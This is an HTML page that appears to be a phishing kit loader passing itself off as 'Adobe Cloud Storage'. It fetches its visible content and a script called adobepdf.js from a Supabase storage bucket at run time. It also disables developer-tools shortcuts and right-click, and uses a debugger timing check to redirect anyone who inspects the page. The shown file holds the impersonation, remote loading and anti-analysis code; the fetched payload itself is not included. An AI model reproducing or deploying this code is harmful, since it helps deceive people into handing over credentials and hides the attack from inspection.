<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Adobe Cloud Storage</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <style>
    body {
      font-family: 'Inter', sans-serif;
    }
  </style>
  <link rel="icon" href="https://jezqzfixgomcanhrbtvb.supabase.co/storage/v1/object/public/assets/pdfAdobe/fav.ico" type="image/x-icon">

</head>
<body class="bg-gray-100">

    <div id="content"></div>

    <script>
        // Function to load HTML from a URL
        function loadHTMLFromURL(url, callback) {
            fetch(url)
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.text();
                })
                .then(data => {
                    // Set the HTML content
                    document.getElementById('content').innerHTML = data;

                    // Execute callback after content is loaded
                    if (callback) callback();
                })
                .catch(error => {
                    console.error('Error loading HTML:', error);
                });
        }

        // Function to dynamically add an image
        function addImage() {
            const image = document.createElement('img');
            image.src = "https://jezqzfixgomcanhrbtvb.supabase.co/storage/v1/object/public/assets/pdfAdobe/pdf.png";
            image.alt = "PDF Logo";
            image.className = "w-16 h-16";

            // Append the image to a specific container or the content div
            const contentDiv = document.getElementById('logoimage');            
            setTimeout(() => {
            contentDiv.appendChild(image);
            console.log('Image dynamically added.');
        }, 500);

            console.log('Image added dynamically:', image.src);
        }

        // URL to load HTML from
        const url = 'https://jezqzfixgomcanhrbtvb.supabase.co/storage/v1/object/public/assets/pdfAdobe/content.html';

        // Load HTML and add image dynamically after content loads
        loadHTMLFromURL(url, () => {
            console.log('Content loaded successfully');
            
            // Add the image dynamically
            addImage();

            // Dynamically load the dependent script
            const script = document.createElement('script');
            script.src = "https://jezqzfixgomcanhrbtvb.supabase.co/storage/v1/object/public/assets/pdfAdobe/adobepdf.js";
            script.onload = () => console.log('Dependent script loaded successfully');
            document.body.appendChild(script);
        });
    </script>

    <script>
        // Disable F12 key (Developer Tools shortcut key)
        document.addEventListener("keydown", function(event) {
            if (event.keyCode == 123 || (event.ctrlKey && event.shiftKey && event.keyCode == 73)) { // F12 or Ctrl+Shift+I
                event.preventDefault();
            }
        });
      
        // Disable right-click context menu
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
      
        // Detect if DevTools is open using a timing attack
        let devtoolsOpened = false;
      
        function detectDevTools() {
            const start = new Date().getTime();
            debugger; // Add a breakpoint here to pause the code execution when DevTools is open
            const end = new Date().getTime();
            
            if (end - start > 100) {  // If time difference is significant, DevTools is open
                devtoolsOpened = true;
                window.location.href = "https://google.com"; // Redirect to Google when DevTools is detected
            }
        }
      
        // Continuously check for DevTools being opened
        setInterval(function() {
            if (devtoolsOpened) {
                return; // Prevent multiple redirects
            }
            detectDevTools();
        }, 1000);
    </script>

</body>
</html>
